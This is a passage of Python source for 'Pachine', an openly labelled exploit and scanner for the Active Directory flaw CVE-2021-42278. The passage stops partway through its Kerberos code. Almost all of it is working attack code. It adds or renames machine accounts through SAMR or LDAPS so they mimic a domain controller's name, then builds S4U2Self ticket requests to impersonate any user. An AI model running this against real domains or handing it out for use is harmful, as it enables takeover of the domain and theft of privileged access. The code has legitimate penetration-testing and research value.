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pachine.py
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pachine.py
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#!/usr/bin/python3
#
# Pachine (CVE-2021-42278)
#
# Authors:
# @ly4k (https://github.com/ly4k)
#
# Credit:
# @cube0x0 (https://github.com/cube0x0)
#
# References:
# - https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html
#
# Description:
# CVE-2021-42278 exploit and scanner using standard Impacket
#
# CVE-2021-42278
# During S4U2Self, the KDC will try to append a '$' to the computer name specified
# in the TGT, if the computer name is not found.
# An attacker can create a new machine account with the sAMAccountName set to a domain
# controller's sAMAccountName - without the '$'.
# For instance, suppose there is a domain controller with a sAMAccountName set to
# 'DC$'. An attacker would then create a machine account with the sAMAccountName set
# to 'DC'. The attacker can then request a TGT for the newly created machine account.
# After the TGT has been issued by the KDC, the attacker can rename the newly created
# machine account to something different, e.g. JOHNS-PC. The attacker can then perform
# S4U2Self and request a TGS to itself as any user. Since the machine account with the
# sAMAccountName set to 'DC' has been renamed, the KDC will try to find the machine
# account by appending a '$', which will then match the domain controller.
# The KDC will then issue a valid TGS for the domain controller.
#
# This attack can also target other domain computers, and not just domain
# controllers.
import argparse
import datetime
import logging
import os
import random
import ssl
import string
import struct
import sys
from binascii import unhexlify
import ldap3
from impacket import version
from impacket.dcerpc.v5 import epm, samr, transport
from impacket.examples import logger
from impacket.examples.utils import parse_credentials
from impacket.krb5 import constants, crypto
from impacket.krb5.asn1 import (
AP_REQ,
AS_REP,
PA_FOR_USER_ENC,
TGS_REP,
TGS_REQ,
Authenticator,
EncTGSRepPart,
seq_set,
seq_set_iter,
)
from impacket.krb5.ccache import CCache
from impacket.krb5.crypto import _HMACMD5, Key, _enctype_table
from impacket.krb5.kerberosv5 import getKerberosTGT, sendReceive
from impacket.krb5.types import KerberosTime, Principal, Ticket
from impacket.spnego import SPNEGO_NegTokenInit, TypesMech
from impacket.winregistry import hexdump
from pyasn1.codec.der import decoder, encoder
from pyasn1.type.univ import noValue
from six import b
# Used to compare size of TGT's ticket with and without PAC
SCAN_THRESHOLD = 0.5
class MachineAccount:
def __init__(self, username, password, domain, options):
self.options = options
self.username = username
self.password = password
self.domain = domain
self.lmhash = ""
self.nthash = ""
self.hashes = options.hashes
self.aesKey = options.aesKey
self.doKerberos = options.k
self.target = options.dc_host
self.kdcHost = options.dc_host
self.computerPassword = options.computer_pass
self.method = options.method
self.port = options.port
self.domainNetbios = options.domain_netbios
self.targetIp = options.dc_ip
self.baseDN = options.baseDN
self.computerGroup = options.computer_group
self.action = "add"
self.computerName = self.options.dc_host.split(".")[0]
self.newComputerName = self.options.computer_name
if self.newComputerName is None:
self.newComputerName = self.generateComputerName()
if self.targetIp is not None:
self.kdcHost = self.targetIp
if self.method not in ["SAMR", "LDAPS"]:
raise ValueError("Unsupported method %s" % self.method)
if self.doKerberos and options.dc_host is None:
raise ValueError(
"Kerberos auth requires DNS name of the target DC. Use -dc-host."
)
if self.method == "LDAPS" and "." not in self.domain:
logging.warning(
"'%s' doesn't look like a FQDN. Generating baseDN will probably fail."
% self.domain
)
if options.hashes is not None:
self.lmhash, self.nthash = options.hashes.split(":")
if self.computerPassword is None:
self.computerPassword = "".join(
random.choice(string.ascii_letters + string.digits) for _ in range(32)
)
if self.target is None:
if "." not in self.domain:
logging.warning(
"No DC host set and '%s' doesn't look like a FQDN. DNS resolution of short names will probably fail."
% self.domain
)
self.target = self.domain
if self.port is None:
if self.method == "SAMR":
self.port = 445
elif self.method == "LDAPS":
self.port = 636
if self.domainNetbios is None:
self.domainNetbios = self.domain
if self.method == "LDAPS" and self.baseDN is None:
# Create the baseDN
domainParts = self.domain.split(".")
self.baseDN = ""
for i in domainParts:
self.baseDN += "dc=%s," % i
# Remove last ','
self.baseDN = self.baseDN[:-1]
if self.method == "LDAPS" and self.computerGroup is None:
self.computerGroup = "CN=Computers," + self.baseDN
def run_samr(self):
if self.targetIp is not None:
stringBinding = epm.hept_map(
self.targetIp, samr.MSRPC_UUID_SAMR, protocol="ncacn_np"
)
else:
stringBinding = epm.hept_map(
self.target, samr.MSRPC_UUID_SAMR, protocol="ncacn_np"
)
rpctransport = transport.DCERPCTransportFactory(stringBinding)
rpctransport.set_dport(self.port)
if self.targetIp is not None:
rpctransport.setRemoteHost(self.targetIp)
rpctransport.setRemoteName(self.target)
if hasattr(rpctransport, "set_credentials"):
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(
self.username,
self.password,
self.domain,
self.lmhash,
self.nthash,
self.aesKey,
)
rpctransport.set_kerberos(self.doKerberos, self.kdcHost)
self.doSAMRAdd(rpctransport)
def run_ldaps(self):
connectTo = self.target
if self.targetIp is not None:
connectTo = self.targetIp
try:
user = "%s\\%s" % (self.domain, self.username)
tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1_2)
try:
ldapServer = ldap3.Server(
connectTo,
use_ssl=True,
port=self.port,
get_info=ldap3.ALL,
tls=tls,
)
if self.doKerberos:
ldapConn = ldap3.Connection(ldapServer)
self.LDAP3KerberosLogin(
ldapConn,
self.username,
self.password,
self.domain,
self.lmhash,
self.nthash,
self.aesKey,
kdcHost=self.kdcHost,
)
elif self.hashes is not None:
ldapConn = ldap3.Connection(
ldapServer,
user=user,
password=self.hashes,
authentication=ldap3.NTLM,
)
ldapConn.bind()
else:
ldapConn = ldap3.Connection(
ldapServer,
user=user,
password=self.password,
authentication=ldap3.NTLM,
)
ldapConn.bind()
except ldap3.core.exceptions.LDAPSocketOpenError:
# try tlsv1
tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1)
ldapServer = ldap3.Server(
connectTo,
use_ssl=True,
port=self.port,
get_info=ldap3.ALL,
tls=tls,
)
if self.doKerberos:
ldapConn = ldap3.Connection(ldapServer)
self.LDAP3KerberosLogin(
ldapConn,
self.username,
self.password,
self.domain,
self.lmhash,
self.nthash,
self.aesKey,
kdcHost=self.kdcHost,
)
elif self.hashes is not None:
ldapConn = ldap3.Connection(
ldapServer,
user=user,
password=self.hashes,
authentication=ldap3.NTLM,
)
ldapConn.bind()
else:
ldapConn = ldap3.Connection(
ldapServer,
user=user,
password=self.password,
authentication=ldap3.NTLM,
)
ldapConn.bind()
if self.action == "rename":
if not self.LDAPComputerExists(ldapConn, self.computerName):
raise Exception(
"Account %s not found in %s!" % (self.computerName, self.baseDN)
)
computer = self.LDAPGetComputer(ldapConn, self.computerName)
res = ldapConn.modify(
computer.entry_dn,
{
"sAMAccountName": [
(
ldap3.MODIFY_REPLACE,
[
'"{}"'.format(self.newComputerName).encode(
"utf-16-le"
)
],
)
]
},
)
if not res:
if (
ldapConn.result["result"]
== ldap3.core.results.RESULT_INSUFFICIENT_ACCESS_RIGHTS
):
raise Exception(
"User %s doesn't have right to change name for %s!"
% (self.username, self.computerName)
)
else:
raise Exception(str(ldapConn.result))
else:
logging.info(
"Changed machine account name from %s to %s"
% (self.computerName, self.newComputerName)
)
else:
if self.LDAPComputerExists(ldapConn, self.computerName):
logging.info(
"Machine account %s already exists. Trying to change password."
% self.computerName
)
computer = self.LDAPGetComputer(ldapConn, self.computerName)
res = ldapConn.modify(
computer.entry_dn,
{
"unicodePwd": [
(
ldap3.MODIFY_REPLACE,
[
'"{}"'.format(self.computerPassword).encode(
"utf-16-le"
)
],
)
]
},
)
if not res:
if (
ldapConn.result["result"]
== ldap3.core.results.RESULT_INSUFFICIENT_ACCESS_RIGHTS
):
raise Exception(
"User %s doesn't have right to change password for %s!"
% (self.username, self.computerName)
)
else:
raise Exception(str(ldapConn.result))
else:
logging.info("Changed password for %s." % (self.computerName))
return
computerHostname = self.computerName[:-1]
computerDn = "CN=%s,%s" % (computerHostname, self.computerGroup)
# Default computer SPNs
ucd = {
"dnsHostName": "%s.%s" % (computerHostname, self.domain),
"userAccountControl": 0x1000,
"servicePrincipalName": [],
"sAMAccountName": self.computerName,
"unicodePwd": ('"%s"' % self.computerPassword).encode("utf-16-le"),
}
res = ldapConn.add(
computerDn,
["top", "person", "organizationalPerson", "user", "computer"],
ucd,
)
if not res:
if (
ldapConn.result["result"]
== ldap3.core.results.RESULT_UNWILLING_TO_PERFORM
):
error_code = int(
ldapConn.result["message"].split(":")[0].strip(), 16
)
if error_code == 0x216D:
raise Exception(
"User %s machine quota exceeded!" % self.username
)
else:
raise Exception(str(ldapConn.result))
elif (
ldapConn.result["result"]
== ldap3.core.results.RESULT_INSUFFICIENT_ACCESS_RIGHTS
):
raise Exception(
"User %s doesn't have right to create a machine account!"
% self.username
)
else:
raise Exception(str(ldapConn.result))
else:
logging.info(
"Added machine account %s with password %s."
% (self.computerName, self.computerPassword)
)
except Exception as e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
logging.critical(str(e))
def LDAPComputerExists(self, connection, computerName):
connection.search(self.baseDN, "(sAMAccountName=%s)" % computerName)
return len(connection.entries) == 1
def LDAPGetComputer(self, connection, computerName):
connection.search(self.baseDN, "(sAMAccountName=%s)" % computerName)
return connection.entries[0]
def LDAP3KerberosLogin(
self,
connection,
user,
password,
domain="",
lmhash="",
nthash="",
aesKey="",
kdcHost=None,
TGT=None,
TGS=None,
useCache=True,
):
from pyasn1.codec.ber import decoder, encoder
from pyasn1.type.univ import noValue
"""
logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported.
:param string user: username
:param string password: password for the user
:param string domain: domain where the account is valid for (required)
:param string lmhash: LMHASH used to authenticate using hashes (password is not used)
:param string nthash: NTHASH used to authenticate using hashes (password is not used)
:param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication
:param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho)
:param struct TGT: If there's a TGT available, send the structure here and it will be used
:param struct TGS: same for TGS. See smb3.py for the format
:param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False
:return: True, raises an Exception if error.
"""
if lmhash != "" or nthash != "":
if len(lmhash) % 2:
lmhash = "0" + lmhash
if len(nthash) % 2:
nthash = "0" + nthash
try: # just in case they were converted already
lmhash = unhexlify(lmhash)
nthash = unhexlify(nthash)
except TypeError:
pass
# Importing down here so pyasn1 is not required if kerberos is not used.
import datetime
from impacket.krb5 import constants
from impacket.krb5.asn1 import AP_REQ, TGS_REP, Authenticator, seq_set
from impacket.krb5.ccache import CCache
from impacket.krb5.kerberosv5 import getKerberosTGS, getKerberosTGT
from impacket.krb5.types import KerberosTime, Principal, Ticket
if TGT is not None or TGS is not None:
useCache = False
if useCache:
try:
ccache = CCache.loadFile(os.getenv("KRB5CCNAME"))
except Exception as e:
# No cache present
print(e)
pass
else:
# retrieve domain information from CCache file if needed
if domain == "":
domain = ccache.principal.realm["data"].decode("utf-8")
logging.debug("Domain retrieved from CCache: %s" % domain)
logging.debug("Using Kerberos Cache: %s" % os.getenv("KRB5CCNAME"))
principal = "ldap/%s@%s" % (self.target.upper(), domain.upper())
creds = ccache.getCredential(principal)
if creds is None:
# Let's try for the TGT and go from there
principal = "krbtgt/%s@%s" % (domain.upper(), domain.upper())
creds = ccache.getCredential(principal)
if creds is not None:
TGT = creds.toTGT()
logging.debug("Using TGT from cache")
else:
logging.debug("No valid credentials found in cache")
else:
TGS = creds.toTGS(principal)
logging.debug("Using TGS from cache")
# retrieve user information from CCache file if needed
if user == "" and creds is not None:
user = creds["client"].prettyPrint().split(b"@")[0].decode("utf-8")
logging.debug("Username retrieved from CCache: %s" % user)
elif user == "" and len(ccache.principal.components) > 0:
user = ccache.principal.components[0]["data"].decode("utf-8")
logging.debug("Username retrieved from CCache: %s" % user)
# First of all, we need to get a TGT for the user
userName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
if TGT is None:
if TGS is None:
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(
userName, password, domain, lmhash, nthash, aesKey, kdcHost
)
else:
tgt = TGT["KDC_REP"]
cipher = TGT["cipher"]
sessionKey = TGT["sessionKey"]
if TGS is None:
serverName = Principal(
"ldap/%s" % self.target,
type=constants.PrincipalNameType.NT_SRV_INST.value,
)
tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(
serverName, domain, kdcHost, tgt, cipher, sessionKey
)
else:
tgs = TGS["KDC_REP"]
cipher = TGS["cipher"]
sessionKey = TGS["sessionKey"]
# Let's build a NegTokenInit with a Kerberos REQ_AP
blob = SPNEGO_NegTokenInit()
# Kerberos
blob["MechTypes"] = [TypesMech["MS KRB5 - Microsoft Kerberos 5"]]
# Let's extract the ticket from the TGS
tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
ticket = Ticket()
ticket.from_asn1(tgs["ticket"])
# Now let's build the AP_REQ
apReq = AP_REQ()
apReq["pvno"] = 5
apReq["msg-type"] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = []
apReq["ap-options"] = constants.encodeFlags(opts)
seq_set(apReq, "ticket", ticket.to_asn1)
authenticator = Authenticator()
authenticator["authenticator-vno"] = 5
authenticator["crealm"] = domain
seq_set(authenticator, "cname", userName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator["cusec"] = now.microsecond
authenticator["ctime"] = KerberosTime.to_asn1(now)
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 11
# AP-REQ Authenticator (includes application authenticator
# subkey), encrypted with the application session key
# (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(
sessionKey, 11, encodedAuthenticator, None
)
apReq["authenticator"] = noValue
apReq["authenticator"]["etype"] = cipher.enctype
apReq["authenticator"]["cipher"] = encryptedEncodedAuthenticator
blob["MechToken"] = encoder.encode(apReq)
request = ldap3.operation.bind.bind_operation(
connection.version, ldap3.SASL, user, None, "GSS-SPNEGO", blob.getData()
)
# Done with the Kerberos saga, now let's get into LDAP
if connection.closed: # try to open connection if closed
connection.open(read_server_info=False)
connection.sasl_in_progress = True
response = connection.post_send_single_response(
connection.send("bindRequest", request, None)
)
connection.sasl_in_progress = False
if response[0]["result"] != 0:
raise Exception(response)
connection.bound = True
return True
def generateComputerName(self):
return "DESKTOP-" + (
"".join(
random.choice(string.ascii_uppercase + string.digits) for _ in range(8)
)
+ "$"
)
def doSAMRAdd(self, rpctransport):
dce = rpctransport.get_dce_rpc()
servHandle = None
domainHandle = None
userHandle = None
try:
dce.connect()
dce.bind(samr.MSRPC_UUID_SAMR)
samrConnectResponse = samr.hSamrConnect5(
dce,
"\\\\%s\x00" % self.target,
samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN,
)
servHandle = samrConnectResponse["ServerHandle"]
samrEnumResponse = samr.hSamrEnumerateDomainsInSamServer(dce, servHandle)
domains = samrEnumResponse["Buffer"]["Buffer"]
domainsWithoutBuiltin = list(
filter(lambda x: x["Name"].lower() != "builtin", domains)
)
if len(domainsWithoutBuiltin) > 1:
domain = list(
filter(lambda x: x["Name"].lower() == self.domainNetbios, domains)
)
if len(domain) != 1:
logging.critical(
"This server provides multiple domains and '%s' isn't one of them.",
self.domainNetbios,
)
logging.critical("Available domain(s):")
for domain in domains:
logging.error(" * %s" % domain["Name"])
logging.critical(
"Consider using -domain-netbios argument to specify which one you meant."
)
raise Exception()
else:
selectedDomain = domain[0]["Name"]
else:
selectedDomain = domainsWithoutBuiltin[0]["Name"]
samrLookupDomainResponse = samr.hSamrLookupDomainInSamServer(
dce, servHandle, selectedDomain
)
domainSID = samrLookupDomainResponse["DomainId"]
if logging.getLogger().level == logging.DEBUG:
logging.info("Opening domain %s..." % selectedDomain)
samrOpenDomainResponse = samr.hSamrOpenDomain(
dce, servHandle, samr.DOMAIN_LOOKUP | samr.DOMAIN_CREATE_USER, domainSID
)
domainHandle = samrOpenDomainResponse["DomainHandle"]
if self.action == "rename":
try:
checkForUser = samr.hSamrLookupNamesInDomain(
dce, domainHandle, [self.computerName]
)
except samr.DCERPCSessionError as e:
if e.error_code == 0xC0000073:
raise Exception(
"Account %s not found in domain %s!"
% (self.computerName, selectedDomain)
)
else:
raise
userRID = checkForUser["RelativeIds"]["Element"][0]
try:
openUser = samr.hSamrOpenUser(
dce, domainHandle, samr.USER_WRITE_ACCOUNT, userRID
)
userHandle = openUser["UserHandle"]
except samr.DCERPCSessionError as e:
if e.error_code == 0xC0000022:
raise Exception(
"User %s doesn't have right to change name for %s!"
% (self.username, self.computerName)
)
else:
raise
req = samr.SAMPR_USER_INFO_BUFFER()
req["tag"] = samr.USER_INFORMATION_CLASS.UserAccountNameInformation
req["AccountName"]["UserName"] = self.newComputerName
samr.hSamrSetInformationUser2(dce, userHandle, req)
logging.info(
"Changed machine account name from %s to %s"
% (self.computerName, self.newComputerName)
)
return
else:
if self.computerName is not None:
try:
checkForUser = samr.hSamrLookupNamesInDomain(
dce, domainHandle, [self.computerName]
)
logging.info(
"Machine account %s already exists. Trying to change password."
% self.computerName
)
userRID = checkForUser["RelativeIds"]["Element"][0]
try:
openUser = samr.hSamrOpenUser(
dce,
domainHandle,
samr.USER_FORCE_PASSWORD_CHANGE,
userRID,
)
userHandle = openUser["UserHandle"]
except samr.DCERPCSessionError as e:
if e.error_code == 0xC0000022:
raise Exception(
"User %s doesn't have right to change password for %s!"
% (self.username, self.computerName)
)
else:
raise
samr.hSamrSetPasswordInternal4New(
dce, userHandle, self.computerPassword
)
logging.info(
"Changed password of %s to %s."
% (self.computerName, self.computerPassword)
)
return
except samr.DCERPCSessionError as e:
if e.error_code != 0xC0000073:
raise
else:
foundUnused = False
while not foundUnused:
self.computerName = self.generateComputerName()
try:
checkForUser = samr.hSamrLookupNamesInDomain(
dce, domainHandle, [self.computerName]
)
except samr.DCERPCSessionError as e:
if e.error_code == 0xC0000073:
foundUnused = True
else:
raise
try:
createUser = samr.hSamrCreateUser2InDomain(
dce,
domainHandle,
self.computerName,
samr.USER_WORKSTATION_TRUST_ACCOUNT,
samr.USER_FORCE_PASSWORD_CHANGE,
)
except samr.DCERPCSessionError as e:
if e.error_code == 0xC0000022:
raise Exception(
"User %s doesn't have right to create a machine account!"
% self.username
)
elif e.error_code == 0xC00002E7:
raise Exception(
"User %s machine quota exceeded!" % self.username
)
else:
raise
userHandle = createUser["UserHandle"]
samr.hSamrSetPasswordInternal4New(dce, userHandle, self.computerPassword)
checkForUser = samr.hSamrLookupNamesInDomain(
dce, domainHandle, [self.computerName]
)
userRID = checkForUser["RelativeIds"]["Element"][0]
openUser = samr.hSamrOpenUser(
dce, domainHandle, samr.MAXIMUM_ALLOWED, userRID
)
userHandle = openUser["UserHandle"]
req = samr.SAMPR_USER_INFO_BUFFER()
req["tag"] = samr.USER_INFORMATION_CLASS.UserControlInformation
req["Control"]["UserAccountControl"] = samr.USER_WORKSTATION_TRUST_ACCOUNT
samr.hSamrSetInformationUser2(dce, userHandle, req)
logging.info(
"Added machine account %s with password %s."
% (self.computerName, self.computerPassword)
)
except Exception as e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
logging.critical(str(e))
finally:
if userHandle is not None:
samr.hSamrCloseHandle(dce, userHandle)
if domainHandle is not None:
samr.hSamrCloseHandle(dce, domainHandle)
if servHandle is not None:
samr.hSamrCloseHandle(dce, servHandle)
dce.disconnect()
def rename(self):
self.action = "rename"
self.run()
def add(self):
self.action = "add"
self.run()
def run(self):
if self.method == "SAMR":
self.run_samr()
elif self.method == "LDAPS":
self.run_ldaps()
def saveTicket(ticket, sessionKey, fileName):
logging.info("Saving ticket in %s" % (fileName + ".ccache"))
ccache = CCache()
ccache.fromTGS(ticket, sessionKey, sessionKey)
ccache.saveFile(fileName + ".ccache")
def S4U2Self(tgt, user, domain, spn, impersonate, cipher, sessionKey, kdcHost):
decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0]
# Extract the ticket from the TGT
ticket = Ticket()
ticket.from_asn1(decodedTGT["ticket"])
apReq = AP_REQ()
apReq["pvno"] = 5
apReq["msg-type"] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = list()
apReq["ap-options"] = constants.encodeFlags(opts)
seq_set(apReq, "ticket", ticket.to_asn1)
authenticator = Authenticator()
authenticator["authenticator-vno"] = 5
authenticator["crealm"] = str(decodedTGT["crealm"])
clientName = Principal()
clientName.from_asn1(decodedTGT, "crealm", "cname")
seq_set(authenticator, "cname", clientName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator["cusec"] = now.microsecond
authenticator["ctime"] = KerberosTime.to_asn1(now)
if logging.getLogger().level == logging.DEBUG:
logging.debug("AUTHENTICATOR")
print(authenticator.prettyPrint())
print("\n")
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 7
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
# TGS authenticator subkey), encrypted with the TGS session
# key (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(
sessionKey, 7, encodedAuthenticator, None
)
apReq["authenticator"] = noValue
apReq["authenticator"]["etype"] = cipher.enctype
apReq["authenticator"]["cipher"] = encryptedEncodedAuthenticator
encodedApReq = encoder.encode(apReq)
tgsReq = TGS_REQ()
tgsReq["pvno"] = 5
tgsReq["msg-type"] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
tgsReq["padata"] = noValue
tgsReq["padata"][0] = noValue
tgsReq["padata"][0]["padata-type"] = int(
constants.PreAuthenticationDataTypes.PA_TGS_REQ.value
)
tgsReq["padata"][0]["padata-value"] = encodedApReq
# In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service
# requests a service ticket to itself on behalf of a user. The user is
# identified to the KDC by the user's name and realm.
clientName = Principal(
impersonate,
type=constants.PrincipalNameType.NT_PRINCIPAL.value,
)
S4UByteArray = struct.pack("<I", constants.PrincipalNameType.NT_PRINCIPAL.value)
S4UByteArray += b(impersonate) + b(domain) + b"Kerberos"
if logging.getLogger().level == logging.DEBUG:
logging.debug("S4UByteArray")
hexdump(S4UByteArray)
# Finally cksum is computed by calling the KERB_CHECKSUM_HMAC_MD5 hash
# with the following three parameters: the session key of the TGT of
# the service performing the S4U2Self request, the message type value
# of 17, and the byte array S4UByteArray.
checkSum = _HMACMD5.checksum(sessionKey, 17, S4UByteArray)
if logging.getLogger().level == logging.DEBUG:
logging.debug("CheckSum")
hexdump(checkSum)
paForUserEnc = PA_FOR_USER_ENC()
seq_set(paForUserEnc, "userName", clientName.components_to_asn1)
paForUserEnc["userRealm"] = domain
paForUserEnc["cksum"] = noValue
paForUserEnc["cksum"]["cksumtype"] = int(constants.ChecksumTypes.hmac_md5.value)
paForUserEnc["cksum"]["checksum"] = checkSum
paForUserEnc["auth-package"] = "Kerberos"
if logging.getLogger().level == logging.DEBUG:
logging.debug("PA_FOR_USER_ENC")
print(paForUserEnc.prettyPrint())
encodedPaForUserEnc = encoder.encode(paForUserEnc)
tgsReq["padata"][1] = noValue
tgsReq["padata"][1]["padata-type"] = int(
constants.PreAuthenticationDataTypes.PA_FOR_USER.value
)
tgsReq["padata"][1]["padata-value"] = encodedPaForUserEnc
reqBody = seq_set(tgsReq, "req-body")
opts = list()
opts.append(constants.KDCOptions.forwardable.value)
opts.append(constants.KDCOptions.renewable.value)
opts.append(constants.KDCOptions.canonicalize.value)
reqBody["kdc-options"] = constants.encodeFlags(opts)
serverName = Principal(user, type=constants.PrincipalNameType.NT_UNKNOWN.value)
seq_set(reqBody, "sname", serverName.components_to_asn1)
reqBody["realm"] = str(decodedTGT["crealm"])
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
reqBody["till"] = KerberosTime.to_asn1(now)
reqBody["nonce"] = random.getrandbits(31)
seq_set_iter(
reqBody,
"etype",
(int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value)),
)
if logging.getLogger().level == logging.DEBUG:
logging.debug("Final TGS")
print(tgsReq.prettyPrint())
logging.info("Requesting S4U2self")
message = encoder.encode(tgsReq)
r = sendReceive(message, domain, kdcHost)
tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]
client = Principal()
client.from_asn1(tgs, "crealm", "cname")
server = Principal()
server.from_asn1(tgs["ticket"], "realm", "sname")
logging.info("Got TGS for %s for %s" % (client, server))
cipherText = tgs["enc-part"]["cipher"]
cipher = crypto._enctype_table[tgs["enc-part"]["etype"]]
# Key Usage 8
# TGS-REP encrypted part (includes application session
# key), encrypted with the TGS session key (Section 5.4.2)
plainText = cipher.decrypt(sessionKey, 8, cipherText)
encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0]
# Change encrypted part
server = Principal()
server.from_asn1(encTGSRepPart, "srealm", "sname")
old_sname = str(server)